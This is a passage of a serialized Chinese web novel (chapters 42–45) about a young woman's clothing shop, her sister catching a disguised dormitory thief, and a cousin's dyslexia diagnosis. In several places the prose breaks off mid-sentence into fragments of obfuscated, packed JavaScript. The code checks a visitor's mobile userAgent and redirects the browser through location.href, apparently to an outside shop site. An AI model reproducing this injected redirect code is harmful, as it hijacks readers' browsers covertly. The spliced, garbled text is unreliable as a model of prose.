几人正在聊天,伍爱娜过来了。清晨的阳光下,她穿着米色束腰短风衣、石青牛仔裤,脚蹬白色旅游鞋,活脱脱一个青春时尚美少女。该少女哼着小歌进了店,抬眼看到一个高高帅帅的小伙子,立刻就矫揉造作了起来。笑容份外甜,说话特别嗲。直到发现那是高晟,才迅速恢复本色。 “天!你这家伙!怎么突然变帅这么多!”她惊呼。 “他变瘦了。”秀水说。 “也变强了。”伍爱今说。 伍爱娜完全听不见他弟的话,“瘦”这个字眼深深刺激了她,她立刻嫉妒地嚷嚷:“高晟,你瘦多少了?” “三十多斤。”高晟答。 伍爱娜长嚎一声,“不公平!太不公平了!凭什么我才瘦一斤!” “姐,你都不跑步!”伍爱今冒着挨打的风险,打量着她姐,“我晟哥可是每天训练的,他瘦难道不是应该的?” “滚一边去!”伍爱娜朝她弟吼,继而仰天含泪:“老天,你对我不公!” 42. 第 42 章 整个上午,高晟都和伍爱今在院子里练习拳击和三截棍,直到中午才恋恋不舍地骑自行车走了,说要去他姨妈家吃饭,提前说好了的,推不掉。 喻秀竹骑车回家时,正好和他擦肩而过。她停车后跑去问她姐,“刚才那个男的是高晟?真的是他?” 伍爱娜一边愤愤地剥桔子吃,一边说:“就是他!明天我也跟姐去跑步,不信瘦不过他!” “哇!他变化好大!”秀竹诧异地感叹,又安慰伍爱娜:“你又不胖,干嘛天天吵着减肥?实话实说,你这样最好看了!” “你现在有胸有屁股,这种身材才好看。”秀水也说:“也不用减肥,只需要练出肌肉……” “是吗?”伍爱娜自动屏蔽她姐后半段话,跑到镜子前左顾右盼,十分钟后,才满意又遗憾地说:“可惜我的腿还是不够直,腰也没有姐那么细,唉,还是要再瘦点才好看……” 中午伍家姐弟就在这边吃的饭。秀水亲自动手,做了浓油赤酱的红烧肉、葱绿奶白的鲫鱼汤。秀竹拌了菠菜粉丝,伍爱娜炒了青椒回锅肉。做饭时秀竹还自豪地告诉他们一件大事,上周她又跟人吵了一架,还吵赢了。 “上次我不是说,举报信是陈媛媛写的吗?”秀竹说:“她不承认,还哭着跟人说我冤枉她。然后,星期三她妈妈来学校了,说我欺负她女儿……” “岂有此理!”伍爱娜怒道:“最烦这种人了,当面装可怜,背后使黑手!” “姐你别打岔!”伍爱今坐在灶门口烧火,着急地说:“你先听小姐姐讲!” 据秀竹说,陈媛媛的母亲到学校后,也找了年级主任和班主任,愤怒地指责秀竹在寝室孤立、排挤她女儿,让她女儿整天以泪洗面、无心学习等等。周老师和蔡主任便又把秀竹叫过去,问她有没有欺负陈媛媛。 “我当时就说了,我只是问她有没有写举报信,为什么要写信。她都敢诬陷我了,难道还怕人问?她妈就说,信不是陈媛媛写的,让我拿出证据来。我就一一列举给他们听。比如陈媛媛写字时习惯左大右小,写‘9’时会不自觉地弯一个小尾巴,写逗号时上面的点很小……等等等等,”说到这里,秀竹又得意起来,“把周老师和蔡主任都听得一愣一愣的。” 秀水和伍爱娜也听得一愣一愣的,伍爱今迷茫地说:“等等!小姐,这……这种东西真有人能看出区别?” “闭嘴!”伍爱娜喝斥,又扭头迫切道:“后来呢?” 后来,听秀竹讲完,蔡主任也半信半疑的,还拿出那封信和周老师细细看了,果然和秀竹说的一样。陈媛媛她妈却不管那么多,口口声声只说这不算真凭实据,全是猜测。要秀竹当着全校同学给女儿道歉。然后秀竹灵机一动,声称自己道歉也行。只要陈媛媛当着大家的面发誓,说这信不是她写的,跟她无关。要是撒谎她就一辈子考不上大学。 “她和她妈听了,脸色都变了。”秀竹忍不住笑,“她妈还说我恶毒,诅咒她女儿!搞笑!要是陈媛媛真没写信,干嘛那么害怕啊……” “就……你就不怕她撒谎吗?”伍爱今又提出见解,“要是我,就先发个誓再说!” “你知道个屁!”伍爱娜斥责道:“你胸无大志,说什么鬼话都行。人家可是真想考大学的,那要万一灵验了呢?” “对啊,”秀水笑道:“她要真撒谎了,以后只要考差一次,就会想,这会不会是报应。照这样下去她就完了。” 伍爱今沉思点头,“好毒的计谋!快说说,接下来怎么样了?” “不怎么样,”秀竹说:“周老师看她们不敢发誓,又在那儿吵个不停,就让我先回教室了。接下来的事我就不清楚了。” “那你们班现在是相信你的人多,还是相信陈媛媛的人多?”秀水问。 秀水撇了撇嘴,一副不在乎的样子,“各占一半吧。不过随便他们怎么看,我才懒得管。我到学校是去搞学习的,又不是和他们交朋友的!” 话是这么说,她最近其实还是比较受困扰的。明明周老师和蔡主任也去班上解释了,甚至校长在升旗仪式上也说过,校方会加强宿舍安全监管,杜绝偷盗现象,让同学们在没有证据的情况下不要相互猜疑。但班上还是流言纷纷,有人甚至认定小偷就是喻秀竹,只不过她家里人过来把事情压下来了等等。 秀竹努力让自己无视这些流言,清者自清,她没做过的事情才不怕别人议论。但当两个好朋友告诉她那些话后,晚上她还是躲在被子里偷偷掉了一次眼泪。 “你很厉害呢喻秀竹,”秀水由衷赞叹:“敢于对抗流言蜚语的人是最强大的。你说得对,你到学校是去搞学习的,谁管那些人在背后放什么屁!” “对!”伍爱娜愤愤地拍蒜,“不就是嫉妒你吗?不就想搞垮你吗?别理他们!等期末考试的时候让他们看看,你不仅最漂亮,还是成绩最好的!” 秀竹抿嘴笑了起来,她才不在乎漂不漂亮,但她一定得是成绩最好的!而且,以后她再不会为这件事掉一滴眼泪。刚才她姐都夸她厉害了,那她必然要变得更厉害才行。 在家呆了一个下午,到傍晚,喻秀竹又信心满满,带上爸爸做的包子和姐姐给的新棉袄回了学校。去宿舍楼时,路上碰到很多返校的同学。有人和她打招呼,她便回以笑脸;有人冷漠地瞥她,她便面无表情地擦肩而过。 她们住的这幢宿舍楼一共五层,一楼是对外的门面房。二楼至五楼都是女生宿舍。一楼和二楼之间有铁门把关,旁边就是宿管员吴老师的办公室。因为前阵子很多人反映丢了钱和东西,吴老师现在每天都坐在办公室里,透过一扇小玻璃窗对楼梯上的行人虎视耽耽。 “把你的心我的心串一串,串一个同心圆串一个……”秀竹哼着小虎队的歌,轻快地爬到四楼,这时,楼梯上走下来一个女孩,个子高高瘦瘦的,穿着红棉袄牛仔裤,垂着头,长发半遮着脸。喻秀竹看了她一眼,没有停步,两人擦肩而过,那人走下楼去了。 秀水继续向前走,又上了两步台阶,才停了下来。五楼这一层住的几乎都是高二年级的女生。这个女生她不认识,但总觉得哪里不对劲。又缓缓迈出两步,她才猛然醒悟过来。 脚!她的脚! 那双脚太大了,至少有42码,不应该是个高中女生的脚! 那一瞬间,她被自己的猜测吓得头皮发麻,转身就朝下追,大声喊:“站住!等一下!你等一下!” 已经走到三楼的红棉袄听到喊声,立刻拨足狂奔,这让秀竹更加肯定自己的猜测,忙狂喊:“抓住他!吴老师抓住他!有贼!抓小偷!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891770|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 红棉袄几大步就冲到了二楼,就在她快跑到铁门处时,吴老师从宿管办公室冲出来,两人来了个深情对视。 秀竹也从楼上追下来,和吴老师把红棉袄夹在中间,大声道:“他是男的!他是个男的!” 吴老师呯地一声关上了大铁门,死死把守住出口,颤声大喊:“你是哪个?哪个班的?不说清楚别想走……” 红棉袄拽住吴老师,想强行突破,两人拉扯起来。秀竹冲过去,情急中一把薅住红棉袄的头发,结果揪下来一个头套,露出了一个男人的光头。年过半百的吴老师这一吓,简直肝胆俱裂,声音尖锐又疯狂:“快来人哪!快来人哪!抓贼啊!快抓贼啊……” 红棉袄调头试图朝楼上跑,听到动静的女孩子们却闹哄哄地跑来堵住去路。大家把红棉袄围困在中间,直到几分钟后,学校保安队和男老师们陆续跑过来,两个保安过去把红棉袄抓住,关进了吴老师的办公室。又分派人手,前去报告校领导和派出所。 到了晚自习时间,几乎全校都传遍了女生宿舍抓贼的事情。而且这贼还是男扮女装、长相清秀,只是因为脚长得太大才被人识破,无疑又给这事蒙上了一层传奇色彩。学生们全都无心学习、议论纷纷,四处打听着最新消息。 据说,经过审核,确定了前段时间频繁作案的就是这个人,隔壁某初中的学生。听说他爹妈离婚了,家里没人管他。这男生不知从哪儿搞了顶假发,暑假期间趁学校管理松散,穿上女装混进女寝偷盗,结果轻松得手,一次也没被抓到过。如今钱花完了,他胆子也越发大了,便又趁着学生刚返校钱粮充足,跑来发些小财。 这个爆炸性新闻让很多同学都陷入了震惊和沉默,尤其是秀竹的同班同学。他们频频望向空着的那个座位,——既然抓住了真正的贼,那喻秀竹岂不是一直被冤枉了? 秀竹协助警方做完笔录,第二节晚自习结束后才回来。她刚坐下,前后左右的头便都凑了过来,“秀竹秀竹!快跟我们讲讲,那个贼真是你发现的?你怎么发现的?” 刚才警察都表扬秀竹了,说她观察力强、反应迅速,很适合搞刑侦这一行。宿舍偷盗案连续发生那么多起,校方和派出所也很烦闷。宿舍楼住了那么多女生,就连吴老师也不是每个人都认识。况且每到周末,还有些女性家长进进出出。案值虽然不大,但涉及人员多,查起来很麻烦。要不是这一次喻秀竹及时识破了伪装,只怕这个小贼还会进一步作案。 听秀竹绘声绘色讲完了全过程,周围的同学都很满足,便有人小声说:“那……那陈媛媛以前不是故意诬陷你吗?” “真看不出来,”又有人愤愤道:“装得挺柔弱的,背后竟然是那种人!” “她肯定是看你用随身听,心里嫉妒呢。”还有人猜测。 现在压力给到陈媛媛那边了。晚自习时,她趴在桌上又哭了,这回也没人去安慰她了,她身边冷冷清清的,就连平时跟她关系很好的两个女生都没凑过去,而是坐在一旁笑闹着听最新传来的八卦。 秀竹前阵子的郁闷一扫而空,只觉得前所未有地神清气爽。同时,她笑嘻嘻地看着那些过去说自己坏话、现在又来示好的同学,心里却想,不爱思考、没有主见、人云亦云,简直弱爆了。她才不稀罕和这些人成为好朋友。 43. 第 43 章 眼看进了十二月,天气一天比一天冷,服装店的生意却一直不温不火,秀水有点着急。 小庙大道现在的人流量不算少了,新客运站通车运营之后,分散在城区的客运线逐渐都转移了过来。再加上旁边农村信用合作社的办公大楼也完工了,一楼设了营业大厅,每天也有人进进出出办业务。就连早餐店的生意也好了不少,服装店的冬装却没有卖出去多少。 “姐,别着急,现在还没到卖冬装的旺季,”伍爱娜见她发愁,安慰道:“天才刚冷下来呢。你放心,过年前所有的服装店都会忙起来的。” 秀水也知道,腊月份家家都要置办新衣,再清冷的服装店也会兴旺起来。但是按照她原想的设想,元旦前店里的服装应该要全部倒腾出去,再添置一批年前的新货。现在生意这么萧条,打乱了她挣钱的节奏。 没办法,服装店的位置还是有点偏。小庙大道这边,店铺虽多,但多是卖吃食和杂货的,卖服装还是没有形成气候。 “你守店,我去睡个午觉。”一上午就卖出去一件衣服,她也没有积极性了。 “好的姐,”伍爱娜却很开心,问:“还有没有衣服要熨烫?都交给我!” 现在伍家姐弟只要有时间,就都泡在这边。对伍爱娜来说,服装店可太有意思了。她把家里的三洋牌录音机也提到了店里。在港台歌曲的靡靡之音中,她哼着小歌,把不同的上衣、裤子和裙子精心搭配在一起,十分中意的还要亲自试穿,在镜子前左顾右盼,完了再把搭配好的服装挂到墙上。这就么着,她一个人能兴致勃勃地玩两个小时。 而同样兴致勃勃的伍爱今则在后院练习拳击、散打和武术。前不久,怀安市成立了电视台,每晚都播放香港武侠剧,伍爱今徜徉在武侠世界不能自拔。三截棍他现在已经挥舞得很像样了,不会再把自己打得鼻青脸肿。舞完棍他还要练拳,力量训练也没落下。每次打拳时,伍爱今都会把自己想象成宗门大师兄,将来有二十个师妹会同时崇拜他。所以,眼下练好功夫变得非常重要,——因为,他是要成为大侠的男人! 楼下的人各忙各的,楼上的秀水躺在床上,却怎么都睡不着。思来想去,突然决定花钱去做广告。想到不菲的广告费,她不由一阵心痛,很快却又警惕起来,——怎么自己变得跟刘瑞英似的? 像跟谁赌气一样,她一骨碌就爬起床,没跟任何人说,骑上自行车径直去了城里。一路寻寻觅觅,进了电视台,又经人指点找到广告部,和工作人员交涉一番,掏出一千块钱办理了登广告的手续。 第二天上午,店里就来了个摄像师,对着服装一通狂拍,然后拿着秀水亲自撰写的广告词走了。过了一天,怀安电视台在武侠连续剧播放前的黄金时段,播出了一则30秒的广告,一个女高音声调亢奋地念:“秀水平价服装店,物美价廉、紧跟潮流。凡在本店购买的商品,若有质量问题,三天内包退包换!地址:小庙大道27号秀水豆腐包早餐店旁。” 广告登出来的当晚,刘瑞英和喻庆山就知道了。两人趁着广告播放的间隙,一个泡豆子一个刷碗,听到电视广告还不敢相信,你看我我看你,一个问:“这说的是咱家旁边那店?”一个则说:“太快了没注意。就记得她说包退包换了。” 两人去问秀水,秀水懒得解释,敷衍道:“你们听错了!” 刘瑞英便和喻庆山说:“估计是听错了。我们这街边店,又不是大商场,哪值得花钱打广告?不过到底是哪个服装店你听清了没有,竟然还包退包还?改天我们也看看去!” 第二天她就知道了,广告上说要包退包换的就是她家隔壁那个店。不到八点钟,秀水还在磨磨叽叽刷牙,刘瑞英就火急火燎过来喊她开门,“外头都有人等着了,快点!你一个开店的,哪能让人等在外面?” 秀水连忙抹了把脸,就跑出去打开店门。同时进来的有五六个人,有人问:“是你的店么?真的包退包换?” “真的!就是我家店!”秀水的语气不容质疑,“我在电视上都说过了,还有假吗?只要有质量问题,三天内您拿过来,我肯定退换!” “那怎么证明这是你店里卖出去的货?”来人很有经验,又问:“到时你硬说不是你店里的货,我们有什么办法证明?” “第一,这门面是我自己家的,我就住后面,又不能跑到别处去,我怎么敢撒谎?”秀水解释着,又拿出一本票据,“第二,买了东西我会开票。到时您凭小票找过来,我肯定退!” 那本票据其实只是收据,几位顾客竟然也被取信了,纷纷相互道:“张大姐,她这儿搞得还蛮正规,可以!” “花妹,我们就在这家买。到时候有质量问题,凭票来找她!” 整个上午,来服装店的人络绎不绝。秀水想过广告效果肯定不错,但没想过这么不错。多的时候,三间门面房挤进去四十多人,全都在里面咨询了解、试穿选购,还有人是专门从乡镇乘车过来的,为的就是这“包退包换”几个字。 九十年代的消费者就是这么弱势。买什么东西都得具备超凡的眼力,还得具备跟店主大战三百回合的口才。上门维权被店主拖延甚至驱赶也是常有的事。现在,竟然有家店子在电视上声称三天内包退包换!这在怀安市内,可是从没有过先例的! 短短30秒的广告,迅速引起了抢购狂潮。服装店挤得水泄不通,试衣服的人排起了队。中午秀水甚至没时间吃午饭。连带着早餐店的生意也比平时更旺,根本分不出人手来帮她。幸好刘兰英吃了午饭,也过来瞧热闹。刚到门口就被秀水一把拽进去,“姨妈,快来帮我看店!” “这么多人?”刘兰英也诧异又兴奋,赶紧进入了角色。秀水负责帮顾客介绍衣服、找合适尺码、开票收钱,刘兰英负责照看全场,防着人浑水摸鱼。两人分工协作,很快都忙得昏头胀脑。 服装店就在新车站对面,这边顾客盈门,立刻把车站候车的人也吸引来了。先是有人在路对面大声打听问,“那边怎么了?怎么那么热闹?” 这边便有热心人答:“卖衣服的!她家衣服包退包换!” “真的?”那边的人不敢置信:“可别真过来换,她又把人往外赶!” “真的,都上过电视了,那还有假?” 这年头,人们对电视和报纸上登载的内容深信不疑。再加上了解之后,这家服装店的衣服确实质量不错,价格也很有优势,又有三天质保期,于是车站那边也有好多人组团过来凑热闹。 好容易到傍晚,伍爱娜放学回家,也火速赶来帮忙。秀水和刘兰英才得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“您别吵吵!”刘兰英见秀水那边围着的人多,主动把吵架的重任接过来,“确实是在我们店里买的,我们当然退!可您这衣服谁知在哪儿买的?也拿到我们店里来,哪有这样的道理?这不欺负人嘛……” 秀水帮一位顾客找到合适的尺码,又过来道:“大姐,店里每件衣服都是我进回来的,每件我都验看过!我刚没说完,你拿过来的棉袄,乍一看跟我店里一样,但大家仔细看看版型,完全对不上!您看看这细节,这做工……” 她随手挑了一件同款衣服,给店里顾客们展示了两者之间在细节方面的不同。有人便说:“这么一看,确实区别挺大的。” “对,面料看着差不多,质量差老多了!” “不晓得是从哪儿买的……那人不会也是卖服装的吧?来这儿找事来了?” “肯定是的!人家小喻都说那么明白了,还不走,还在这儿混搅呢……” 顾客们议论纷纷,奚落起来。女人见自己占不到上风,走之前还愤愤地放了几句狠话,说不退货就砸她的店子、让她生意没法做等等。刘兰英听着气不过,追着骂道:“故意上门闹事,你还有理了?你来砸!我敞开门任你砸!但凡碰坏我一件东西,管叫你打断了腿爬回去!你打听打听,我小庙村的人就这么好欺负……” 44. 第 44 章 一个月的广告还没播完,店里的冬装已经销售殆尽。一个周末,趁伍爱娜在店里,秀水便和她商量,打算赶在元旦前夕再去江市进一趟货。伍爱娜忙请求她把自己带上。 “姐,一个人去多无聊啊,”她甜言蜜语道:“我跟你做伴去,我还能帮你看着货!这边店子暂时让我妈看一天!” 秀水想了想,便道:“那咱们周末去,把伍爱今也带上吧。” “带那土狗去干啥?”伍爱娜大感意外,道:“他又不懂服装,又喜欢乱跑,可别到时候逛丢了!” “他不是读书认字有问题吗?我想带他去大医院检查检查,”秀水说了自己的猜测。伍爱娜却是半信半疑。她长这么大,从来没听说过什么阅读障碍症。当然了,这年头别说她,就连市里的医生可能都没几个人听说过。 “还有这种病?能治好吗?”她疑惑道。 “我也不清楚。”秀水说:“所以才要去大医院,问问医生有没有什么矫正方法。”伍爱今现在才十三四岁,如果有矫正方法,肯定越早越好。 伍爱娜立刻看了眼在院子里练拳的老弟,说:“那我们先不要告诉他。臭小子最怕上医院了,我们就说带他去玩,他肯定会乐颠颠地跟着去。” 果然,伍爱今听说要带他去江市玩,喜得一蹦三尺高,“我想去我想去!大姐,求你了!我肯定听你话,你叫我干什么我就干什么!” 接下来,秀水和伍爱娜无论说什么,伍爱今都满口子答应。开玩笑,那可是江市!在伍爱今眼里跟国外差不多远的地方!他长这么大,连走出小庙村的机会都屈指可数,而他姐,竟然马上要带他去江市! 直到坐上了去江市的夜班车,伍爱今还不敢相信,望着窗户外漆黑的夜色,他兴奋地说:“大姐,江市离少林寺远吗?离武当山远吗?我长大要去那两个地方看看!” “不远,等你长大了,挣了钱,去哪儿都不远。”秀水摸着小表弟胳膊上的腱子肉,满意地说:“这小子,长得真结实啊!” “大姐,你放心!”伍爱今大包大揽:“我帮你挑衣服!你走不动了我也背你!” “你给我别乱跑就行!”伍爱娜自感责任重大,对他尤其没有好脸色,“在外面跑丢了,拐子把你手脚都打断,让你沿街乞讨,整天挨打,饭都吃不饱!” 夜班车照旧是天没亮就到了江市,出车站时,伍爱今困得走不稳路,两个姐姐牵着他,到餐馆吃了点东西才清醒。然后几人坐最早的那班公交车,去了江市最大的一家综合性医院。 晨光中,城市的高楼大厦渐渐显现,伍爱今坐在公交车上,着迷地看着两旁的建筑、行人立交桥,不时轻声发出惊叹,“姐,好高的楼!”“大姐,路上怎么这么多小轿车!”简直目不睱接。 一个多小时后,他们才在医院附近的站点下车。看到一个卖糖葫芦的,草靶上插满了五颜六色的糖葫芦串,伍爱今看得拨不开眼睛,秀水便给他买了一串。 伍爱今还有点不好意思,递过去让两个姐姐先尝。秀水和伍爱娜都吃了,他才乐滋滋品尝着糖葫芦,继续往前走。看着沿途的商店,也觉得比小庙村的高级,卖的东西都没见过。后来又看见一扇大门,更觉得气派。 “好高的楼!这是干啥的?”伍爱今打量了一眼,疑惑道:“……医院?这是家医院?” “对,医院。走,到医院逛逛去!” 说时迟,那时快,他两个姐姐已经一左一右夹住了他,“走走走,进去逛逛去。” 伍爱今,一条天不怕地不怕的汉子,唯一害怕的地方是医院,闻言立刻挣扎起来,喊得像头待杀的年猪,“我不去!医院有什么好逛的!我不去!放开我!” 秀水和伍爱娜两人差点按不住他,最后伍爱娜火了,朝他脑袋上抽了一巴掌,“又不打针,怕什么?赶紧进去,不要丢人现眼!” 伍爱今噙着一眶眼泪,被带进了医院门诊大楼。他悲痛地说:“我就说,为什么只给我买了糖葫芦……” 亏他还那么信任大姐,原来也不是什么好人!跟伍爱娜一样,都是恶魔! 秀水在门诊大厅打听了半天,才带伍爱今坐电梯去了十楼。伍爱今第一次坐那个闷罐子似的电梯,又担心自己挨针扎,担忧得差点吐了。在两个姐姐联手镇压下才没有掉头就跑。及至去了医生办公室,看到一群穿白大褂的,手里的糖葫芦都发苦。 “我想回家,”他悲悲切切地小声嘀咕:“我再也不来江市了,我想回家。” 幸好医生看起来挺和蔼,听秀水介绍完情况,又好声好气地问了伍爱今很多问题,还做了些测试,让他认字读书看卡片,又去做什么脑电波心电图之类的检查。秀水和伍爱娜带着伍爱今楼上楼下地跑,到下午检查结果才全部出来。 还是那个医生,跟秀水和伍爱娜说了好一阵子。伍爱今全神戒备,默默规划打针时逃窜的线路,以至于根本没听清医生说了什么。 秀水倒是松了口气。据医生说,伍爱今的阅读障碍症并不太严重,目前这种病症也没什么好的治疗方法,只让他们买了几本画册,回去做矫正训练,并提醒他们多多注意阅读习惯,别给孩子施加心理压力等等。 几人带着画册出来后,伍爱今逃出生天,感激涕零,认为医生是世间少有的好医生,姐姐……也姑且算是好姐姐。伍爱娜一路却是心情非常低落。 这一刻,她对弟弟充满歉疚。因为小时候教他认字总是记不住,又调皮好动,她没少骂过他。谁知道那竟然不是他笨,也不是他故意不用心,而是病,是一种从未听说过的阅读障碍症! 自己到底是什么狗屁姐姐?世界上怎么会有这么差的姐姐? 从医院出来,秀水带他们坐车去买拳击装备。伍爱娜和弟弟坐一排,扭头对着窗外悄悄掉了几滴泪。谁知被伍爱今无意中看到了,顿时毛骨悚然。 天哪!他那最会装乖又最泼辣的姐姐,竟然在流眼泪!这让他高度警惕,恨不得发声提醒大家:注意,我姐又憋着劲儿要使坏了! 没想到,接下来他姐不仅没吼他打他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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逛街,无疑是世界上最无聊的事情之一,但在秀水给他十块钱之后,伍爱今发现了些许乐趣。在两个姐姐忙着看货时,他独自消耗了糯米鸡、糖葫芦、卤鸡蛋、糯米包油条等食物。小黑墩心满意足,站在门店前守着两个扎实的蛇皮袋,像一尊黑脸门神。 “这是我家的!”但凡有人路过时多打量袋子几眼,他就会神情警惕地提醒别人,“这都是我家的!” 秀水和伍爱娜连逛半条街,装了七八袋衣服鞋子。冬天的外套多是厚重的,把挑夫们的扁担都压弯了。好容易把货物运送到车站,秀水都快累趴了,伍爱娜更是气息奄奄。 “姐,回去我真得跟你跑步了。”伍爱娜说:“逛会儿街,竟然这么累!” “咱们可不是逛了一会儿街,”秀水提醒她,“现在已经下午了,咱们都逛大半天了。连口饭都没吃……” “姐,吃包子!”正在这时,一只小黑手从前排递过来两个包子。秀水和伍爱娜都饿了,也不管好不好吃,囫囵吞下去了。片刻后,小黑手又递过来两瓶水。 “谢谢!”伍爱娜发自肺腑道:“有弟弟在可真好!” “对啊今子帮我们大忙了,”秀水也说:“一直帮我们照看货物呢,不然那么多东西,我们怎么看得过来……” 前排的伍爱今自豪地挺了挺胸脯。那当然,他可是以后要当大侠的男人!区区小事,难道不是应该的嘛? 45. 第 45 章 “啥?啥叫阅读障碍症?” “就是大脑里负责处理阅读和书写的那一块地方出了点毛病,”伍爱娜对父母解释,“反正医生是这么说的。不是他不想学,也不是他笨,就是……他看的字跟我们不一样……” 刘兰英和伍为民你看我我看你,两口子吃惊又迷茫,“那为啥会得这个病?今子身体不是一直都挺好的吗?” “这都是天生的,或遗传的,”伍爱娜说:“遗传懂吧?我们家老祖宗有没有跟他差不多的?就那种看书看不进去,认字儿慢的……” “你家老祖宗几代贫农,家里就没有识文断字的。”伍为民说:“过去有钱人家才读得起私塾。你以为像新社会啊?想读书就能给你读?” “不说这个,”刘兰英打断丈夫,问:“今子这个毛病有没有办法治?以后对他有影响么?” “没什么影响,”伍爱娜赶紧安慰她妈,“就是以后不要从事跟文字相关的工作。因为他看字儿慢,理解得更慢。别的没什么影响,该吃吃该喝喝屁事没有。医生说这毛病治不好,最多只能通过一些手段来矫正。姐给今子买了几本画册,让他每天看看画册什么的……” 伍为民和刘兰英松了口气,夫妻俩本来也没指望儿子有什么大出息,能写会算就行。倒是秀水专门带孩子去大医院检查,让他们又意外又感动。刘兰英叹息道:“还是他大姐心细,对我们家俩孩子好得没话说。我们都没听说过这个……这个什么症。花了多少钱?我给她送去。天天挣几个钱哪?就给你们买这个买那个的……” “是该好好谢谢秀水,这操的都是我们爹妈该操的心。”伍为民也感叹:“我就说呢,今子平时看着蛮灵光,为啥一搞学习就熄了火。打也打了骂也骂了,成绩就是搞不上去!以前只当他没长学习这根筋,原来是有这个毛病……” 大家叹息一阵,这件事便过去了。至于伍爱今本人,可以说是毫无影响,——有点影响也都是正面的,那就是全家人对他都和颜悦色起来了。他奶早上下面条,会悄悄给“有病的孙子”卧个鸡蛋,他姐和他妈也不骂他了。他爸还跟他谈心,问他以后想学木匠还是干点别的。伍爱今说想打拳、学武术、当大侠客,他爸也只是笑,没有发火。 生病真好!尤其这病不需要打针吃药,只每天看看画册就行。这让从小到大没怎么享受病号待遇的伍爱今非常开心。 但在他大姐那儿,病号待遇不存在。秀水现在对他严格了很多,训练时快接近专业运动员的标准了。因为她在小表弟身上看到了格斗选手的天赋。从前伍爱今身上让人头疼的特质,比如特别皮实、特别淘气,某种程度上正是天赋的外在表现。淘气是精力太过充沛,皮实是抗击打能力强。伍爱今的良好体能、超强力量和灵敏度,都是格斗运动员或拳击手必不可少的素质。 她今年快十九岁了,无论是童子功还是天赋,都比不上前世的喻秀水。通过刻苦的训练和丰富的格斗经验,她能保护自己,这已经很好了。走专业拳击的路子不太现实。但伍爱今现在这种情况,给他好好打个基本,无论以后他走上赛场,还是去当专业教练员,都是一条不错的出路,一切就看伍爱今日后怎么选择了。 从江市回来后没多久,就下了一场大雪。随着腊月的到来,大大小小的服装店迎来了一年中最忙碌、最兴旺的时节。秀水平价服装店更是生意火爆,每天人头攒动。从江市运回来的几大袋棉毛衣服、鞋袜帽子等,没多久就所剩无几。秀水和伍爱娜每隔十天都会去江城补货。 伍爱娜还买回很多珠子羽毛锻带和热熔胶,自己做项链、发卡、手串,放在店里卖。秀水说了,这部分收入完全归她自己。所以伍爱娜全身心都扑到饰品制作上了。尤其放寒假后,她白天在服装店忙一天,晚上回家还要熬夜串珠子做发卡,搭着服饰一起卖,竟然卖得也很好。 小庙村的姑娘们,现在流行穿一种紧身羊毛裤。就是从秀水服装店里时兴起来的。当然秀水也说了,这裤子不是纯羊毛的,而是名称就叫作“紧身羊毛裤”。它是用机器织的,细致紧密,穿上暖和,还能把腿部线条显现出来。当打底裤穿,搭配短裙和靴子,或外穿牛仔裤都好看。爱美的女孩和小嫂子们几乎人手一条。 秀水和伍爱娜平时也这么穿。上面是棉袄或宽松的绒线衫,下面是黑色羊毛裤,脚蹬长靴,显得身材分外高挑修长,看着可漂亮了。这要是套一条老棉裤,凭她腿比鹭鸶长,都不能这么美的。 进腊月后,服装店和早餐店忙了起来,家里的年猪都是抽空杀的。趁着有天下雪,店里没什么人,喻庆山赶紧请来杀猪匠,把自家后院那头肥猪宰杀了,然后刘瑞英拉了伍为民全家和五叔两口子,一屋子人热热闹闹吃了顿杀猪饭。 腊月伙食就是好,趁着有肉,家里天天不是烧排骨,就是炖猪蹄。这几天喻庆山时常把秀竹从学校接回来住,天冷,孩子读书又费脑子,回家吃点热热乎乎的宵夜,油水足了考得才会更好嘛。然后剩下的肉刘瑞英赶紧腌了起来。二楼阳台架了竹竿,挂着满满一排腊货,全是腌制的腊肉腊肠、猪肝猪腣等等。 放寒假后,院子里又热闹起来了。伍家姐弟天天呆在这边,没多久又多了个刘子康。等高中放假后,秀竹回了家,高晟也时常光顾后院。他们在堂屋做作业,在厢房里练拳,在厨房吵闹着做饭,在院子里大呼小叫地追赶,进进出出也没人管。 经过大半年的训练,高晟几乎算是脱胎换骨。之前的小胖不见了,紧实的肌肉线条,雕琢出青少年人明晰的五官和劲瘦的身材。练田径的运动员就得是这个模样,身上但凡多一丝赘肉,都会对成绩造成影响。 这种外形的改变,也给高晟带来了自信心的成倍增长。想当初,他报名校田径队时,教练还不想要,——觉得他体型不合适,怕练不出来。但现在,随着每次成绩的进步,高晟已经成为了教练的骄傲,成为他激励其他人的典型和榜样。 至于他爸妈,那就更不用说了。高天海和彭玉梅从邻县回怀安市,看到儿子的改变,自然是欣慰有加。并且在教练怂恿下,两口子小心翼翼地跟高晟谈了话,想给他请老师补补文化课。要想考大学,光有比赛成绩也不行,文化课成绩也得提上去啊。 令高天海惊喜的是,他的逆子居然没有一口回绝。只是告诉他们,寒假他已经有了补课和训练计划。请老师补习的事,要等开学以后再说。高天海也没再勉强,他了解儿子的秉性,得顺着毛摸。要是强按着头给他补习功课,多半是要搞砸的。 就这么着,在喻家做作业的人又多了个高晟。不过他不想和伍爱今等人为伍,而是霸占了厨房的小桌。有好几次刘瑞英进厨房拿东西,就见这可怜孩子正对着桌上的书本,长久地沉默着,或苦闷地挠着头。 在自习遭受重挫后,高晟还曾 